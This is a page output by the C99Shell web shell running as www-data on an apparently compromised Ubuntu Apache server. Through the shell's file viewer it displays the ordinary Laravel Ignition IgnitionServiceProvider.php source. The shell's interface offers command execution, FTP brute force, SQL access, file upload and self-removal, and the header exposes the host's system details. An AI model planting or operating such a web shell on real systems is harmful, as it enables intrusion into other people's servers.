!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/facade/ignition/src/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IgnitionServiceProvider.php (15.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition;

use 
Exception;
use 
Facade\FlareClient\Api;
use 
Facade\FlareClient\Flare;
use 
Facade\FlareClient\Http\Client;
use 
Facade\Ignition\Commands\SolutionMakeCommand;
use 
Facade\Ignition\Commands\SolutionProviderMakeCommand;
use 
Facade\Ignition\Commands\TestCommand;
use 
Facade\Ignition\Context\LaravelContextDetector;
use 
Facade\Ignition\DumpRecorder\DumpRecorder;
use 
Facade\Ignition\ErrorPage\IgnitionWhoopsHandler;
use 
Facade\Ignition\ErrorPage\Renderer;
use 
Facade\Ignition\Exceptions\InvalidConfig;
use 
Facade\Ignition\Http\Controllers\ExecuteSolutionController;
use 
Facade\Ignition\Http\Controllers\HealthCheckController;
use 
Facade\Ignition\Http\Controllers\ScriptController;
use 
Facade\Ignition\Http\Controllers\ShareReportController;
use 
Facade\Ignition\Http\Controllers\StyleController;
use 
Facade\Ignition\Http\Middleware\IgnitionConfigValueEnabled;
use 
Facade\Ignition\Http\Middleware\IgnitionEnabled;
use 
Facade\Ignition\Logger\FlareHandler;
use 
Facade\Ignition\LogRecorder\LogRecorder;
use 
Facade\Ignition\Middleware\AddDumps;
use 
Facade\Ignition\Middleware\AddEnvironmentInformation;
use 
Facade\Ignition\Middleware\AddGitInformation;
use 
Facade\Ignition\Middleware\AddLogs;
use 
Facade\Ignition\Middleware\AddQueries;
use 
Facade\Ignition\Middleware\AddSolutions;
use 
Facade\Ignition\Middleware\SetNotifierName;
use 
Facade\Ignition\QueryRecorder\QueryRecorder;
use 
Facade\Ignition\SolutionProviders\BadMethodCallSolutionProvider;
use 
Facade\Ignition\SolutionProviders\DefaultDbNameSolutionProvider;
use 
Facade\Ignition\SolutionProviders\IncorrectValetDbCredentialsSolutionProvider;
use 
Facade\Ignition\SolutionProviders\InvalidRouteActionSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MergeConflictSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingAppKeySolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingColumnSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingImportSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingLivewireComponentSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingMixManifestSolutionProvider;
use 
Facade\Ignition\SolutionProviders\MissingPackageSolutionProvider;
use 
Facade\Ignition\SolutionProviders\RunningLaravelDuskInProductionProvider;
use 
Facade\Ignition\SolutionProviders\SolutionProviderRepository;
use 
Facade\Ignition\SolutionProviders\TableNotFoundSolutionProvider;
use 
Facade\Ignition\SolutionProviders\UndefinedPropertySolutionProvider;
use 
Facade\Ignition\SolutionProviders\UndefinedVariableSolutionProvider;
use 
Facade\Ignition\SolutionProviders\UnknownValidationSolutionProvider;
use 
Facade\Ignition\SolutionProviders\ViewNotFoundSolutionProvider;
use 
Facade\Ignition\Views\Engines\CompilerEngine;
use 
Facade\Ignition\Views\Engines\PhpEngine;
use 
Facade\IgnitionContracts\SolutionProviderRepository as SolutionProviderRepositoryContract;
use 
Illuminate\Foundation\Application;
use 
Illuminate\Log\Events\MessageLogged;
use 
Illuminate\Log\LogManager;
use 
Illuminate\Queue\QueueManager;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\View\Engines\CompilerEngine as LaravelCompilerEngine;
use 
Illuminate\View\Engines\PhpEngine as LaravelPhpEngine;
use 
Livewire\CompilerEngineForIgnition;
use 
Monolog\Logger;
use 
Throwable;
use 
Whoops\Handler\HandlerInterface;

class 
IgnitionServiceProvider extends ServiceProvider
{
    public function 
boot()
    {
        if (
$this->app->runningInConsole()) {
            
$this->publishes([
                
__DIR__.'/../config/flare.php' => config_path('flare.php'),
            ], 
'flare-config');

            
$this->publishes([
                
__DIR__.'/../config/ignition.php' => config_path('ignition.php'),
            ], 
'ignition-config');

            if (isset(
$_SERVER['argv']) && ['artisan''tinker'] === $_SERVER['argv']) {
                
Api::sendReportsInBatches(false);
            }
        }

        
$this
            
->registerViewEngines()
            ->
registerHousekeepingRoutes()
            ->
registerLogHandler()
            ->
registerCommands();

        if (
$this->app->bound('queue')) {
            
$this->setupQueue($this->app->get('queue'));
        }

        if (
config('flare.reporting.report_logs')) {
            
$this->app->make(LogRecorder::class)->register();
        }

        if (
config('flare.reporting.report_queries')) {
            
$this->app->make(QueryRecorder::class)->register();
        }

        
$this->app->make(DumpRecorder::class)->register();
    }

    public function 
register()
    {
        
$this->mergeConfigFrom(__DIR__.'/../config/flare.php''flare');
        
$this->mergeConfigFrom(__DIR__.'/../config/ignition.php''ignition');

        
$this
            
->registerSolutionProviderRepository()
            ->
registerExceptionRenderer()
            ->
registerWhoopsHandler()
            ->
registerIgnitionConfig()
            ->
registerFlare()
            ->
registerDumpCollector();

        if (
config('flare.reporting.report_logs')) {
            
$this->registerLogRecorder();
        }

        if (
config('flare.reporting.report_queries')) {
            
$this->registerQueryRecorder();
        }

        if (
config('flare.reporting.anonymize_ips')) {
            
$this->app->get(Flare::class)->anonymizeIp();
        }

        
$this->app->get(Flare::class)->censorRequestBodyFields(config('flare.reporting.censor_request_body_fields', ['password']));

        
$this->registerBuiltInMiddleware();
    }

    protected function 
registerViewEngines()
    {
        if (! 
$this->hasCustomViewEnginesRegistered()) {
            return 
$this;
        }

        
$this->app->make('view.engine.resolver')->register('php', function () {
            return new 
PhpEngine($this->app['files']);
        });

        
$this->app->make('view.engine.resolver')->register('blade', function () {
            if (
class_exists(CompilerEngineForIgnition::class)) {
                return new 
CompilerEngineForIgnition($this->app['blade.compiler']);
            }

            return new 
CompilerEngine($this->app['blade.compiler']);
        });

        return 
$this;
    }

    protected function 
registerHousekeepingRoutes()
    {
        if (
$this->app->runningInConsole()) {
            return 
$this;
        }

        
Route::group([
            
'as' => 'ignition.',
            
'prefix' => config('ignition.housekeeping_endpoint_prefix''_ignition'),
            
'middleware' => [IgnitionEnabled::class],
        ], function () {
            
Route::get('health-check'HealthCheckController::class)->name('healthCheck');

            
Route::post('execute-solution'ExecuteSolutionController::class)
                ->
middleware(IgnitionConfigValueEnabled::class.':enableRunnableSolutions')
                ->
name('executeSolution');

            
Route::post('share-report'ShareReportController::class)
                ->
middleware(IgnitionConfigValueEnabled::class.':enableShareButton')
                ->
name('shareReport');

            
Route::get('scripts/{script}'ScriptController::class)->name('scripts');
            
Route::get('styles/{style}'StyleController::class)->name('styles');
        });

        return 
$this;
    }

    protected function 
registerSolutionProviderRepository()
    {
        
$this->app->singleton(SolutionProviderRepositoryContract::class, function () {
            
$defaultSolutions $this->getDefaultSolutions();

            return new 
SolutionProviderRepository($defaultSolutions);
        });

        return 
$this;
    }

    protected function 
registerExceptionRenderer()
    {
        
$this->app->bind(Renderer::class, function () {
            return new 
Renderer(__DIR__.'/../resources/views/');
        });

        return 
$this;
    }

    protected function 
registerWhoopsHandler()
    {
        
$this->app->bind(HandlerInterface::class, function (Application $app) {
            return 
$app->make(IgnitionWhoopsHandler::class);
        });

        return 
$this;
    }

    protected function 
registerIgnitionConfig()
    {
        
$this->app->singleton(IgnitionConfig::class, function () {
            
$options = [];

            try {
                if (
$configPath $this->getConfigFileLocation()) {
                    
$options = require $configPath;
                }
            } catch (
Throwable $e) {
                
// possible open_basedir restriction
            
}

            return new 
IgnitionConfig($options);
        });

        return 
$this;
    }

    protected function 
registerFlare()
    {
        
$this->app->singleton('flare.http', function () {
            return new 
Client(
                
config('flare.key'),
                
config('flare.secret'),
                
config('flare.base_url''https://flareapp.io/api')
            );
        });

        
$this->app->alias('flare.http'Client::class);

        
$this->app->singleton(Flare::class, function () {
            
$client = new Flare($this->app->get('flare.http'), new LaravelContextDetector$this->app);
            
$client->applicationPath(base_path());
            
$client->stage(config('app.env'));

            return 
$client;
        });

        return 
$this;
    }

    protected function 
registerLogHandler()
    {
        
$this->app->singleton('flare.logger', function ($app) {
            
$handler = new FlareHandler($app->make(Flare::class));

            
$logLevelString config('logging.channels.flare.level''error');

            
$logLevel $this->getLogLevel($logLevelString);

            
$handler->setMinimumReportLogLevel($logLevel);

            
$logger = new Logger('Flare');
            
$logger->pushHandler($handler);

            return 
$logger;
        });

        if (
$this->app['log'] instanceof LogManager) {
            
Log::extend('flare', function ($app) {
                return 
$app['flare.logger'];
            });
        } else {
            
$this->bindLogListener();
        }

        return 
$this;
    }

    protected function 
getLogLevel(string $logLevelString): int
    
{
        
$logLevel Logger::getLevels()[strtoupper($logLevelString)] ?? null;

        if (! 
$logLevel) {
            throw 
InvalidConfig::invalidLogLevel($logLevelString);
        }

        return 
$logLevel;
    }

    protected function 
registerLogRecorder(): self
    
{
        
$this->app->singleton(LogRecorder::class, function (Application $app): LogRecorder {
            return new 
LogRecorder(
                
$app,
                
$app->get('config')->get('flare.reporting.maximum_number_of_collected_logs')
            );
        });

        return 
$this;
    }

    protected function 
registerDumpCollector()
    {
        
$dumpCollector $this->app->make(DumpRecorder::class);

        
$this->app->singleton(DumpRecorder::class);

        
$this->app->instance(DumpRecorder::class, $dumpCollector);

        return 
$this;
    }

    protected function 
registerCommands()
    {
        
$this->app->bind('command.flare:test'TestCommand::class);
        
$this->app->bind('command.make:solution'SolutionMakeCommand::class);
        
$this->app->bind('command.make:solution-provider'SolutionProviderMakeCommand::class);

        if (
$this->app['config']->get('flare.key')) {
            
$this->commands(['command.flare:test']);
        }

        if (
$this->app['config']->get('ignition.register_commands'false)) {
            
$this->commands(['command.make:solution']);
            
$this->commands(['command.make:solution-provider']);
        }

        return 
$this;
    }

    protected function 
registerQueryRecorder(): self
    
{
        
$this->app->singleton(QueryRecorder::class, function (Application $app): QueryRecorder {
            return new 
QueryRecorder(
                
$app,
                
$app->get('config')->get('flare.reporting.report_query_bindings'),
                
$app->get('config')->get('flare.reporting.maximum_number_of_collected_queries')
            );
        });

        return 
$this;
    }

    protected function 
registerBuiltInMiddleware()
    {
        
$middlewares = [
            
SetNotifierName::class,
            
AddEnvironmentInformation::class,
        ];

        if (
config('flare.reporting.report_logs')) {
            
$middlewares[] = AddLogs::class;
        }

        
$middlewares[] = AddDumps::class;

        if (
config('flare.reporting.report_queries')) {
            
$middlewares[] = AddQueries::class;
        }

        
$middlewares[] = AddSolutions::class;

        
$middleware collect($middlewares)
            ->
map(function (string $middlewareClass) {
                return 
$this->app->make($middlewareClass);
            });

        if (
config('flare.reporting.collect_git_information')) {
            
$middleware[] = (new AddGitInformation());
        }

        foreach (
$middleware as $singleMiddleware) {
            
$this->app->get(Flare::class)->registerMiddleware($singleMiddleware);
        }

        return 
$this;
    }

    protected function 
getDefaultSolutions(): array
    {
        return [
            
IncorrectValetDbCredentialsSolutionProvider::class,
            
MissingAppKeySolutionProvider::class,
            
DefaultDbNameSolutionProvider::class,
            
BadMethodCallSolutionProvider::class,
            
TableNotFoundSolutionProvider::class,
            
MissingImportSolutionProvider::class,
            
MissingPackageSolutionProvider::class,
            
InvalidRouteActionSolutionProvider::class,
            
ViewNotFoundSolutionProvider::class,
            
UndefinedVariableSolutionProvider::class,
            
MergeConflictSolutionProvider::class,
            
RunningLaravelDuskInProductionProvider::class,
            
MissingColumnSolutionProvider::class,
            
UnknownValidationSolutionProvider::class,
            
UndefinedPropertySolutionProvider::class,
            
MissingMixManifestSolutionProvider::class,
            
MissingLivewireComponentSolutionProvider::class,
        ];
    }

    protected function 
hasCustomViewEnginesRegistered()
    {
        
$resolver $this->app->make('view.engine.resolver');

        if (! 
$resolver->resolve('php') instanceof LaravelPhpEngine) {
            return 
false;
        }

        if (! 
$resolver->resolve('blade') instanceof LaravelCompilerEngine) {
            return 
false;
        }

        return 
true;
    }

    protected function 
bindLogListener()
    {
        
$this->app['log']->listen(function (MessageLogged $messageLogged) {
            if (
config('flare.key')) {
                try {
                    
$this->app['flare.logger']->log(
                        
$messageLogged->level,
                        
$messageLogged->message,
                        
$messageLogged->context
                    
);
                } catch (
Exception $exception) {
                    return;
                }
            }
        });
    }

    protected function 
getConfigFileLocation(): ?string
    
{
        
$configFullPath base_path().DIRECTORY_SEPARATOR.'.ignition';

        if (
file_exists($configFullPath)) {
            return 
$configFullPath;
        }

        
$configFullPath Arr::get($_SERVER'HOME''').DIRECTORY_SEPARATOR.'.ignition';

        if (
file_exists($configFullPath)) {
            return 
$configFullPath;
        }

        return 
null;
    }

    protected function 
setupQueue(QueueManager $queue)
    {
        
$queue->looping(function () {
            
$this->app->get(Flare::class)->reset();

            if (
config('flare.reporting.report_logs')) {
                
$this->app->make(LogRecorder::class)->reset();
            }

            if (
config('flare.reporting.report_queries')) {
                
$this->app->make(QueryRecorder::class)->reset();
            }

            
$this->app->make(DumpRecorder::class)->reset();
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0075 ]--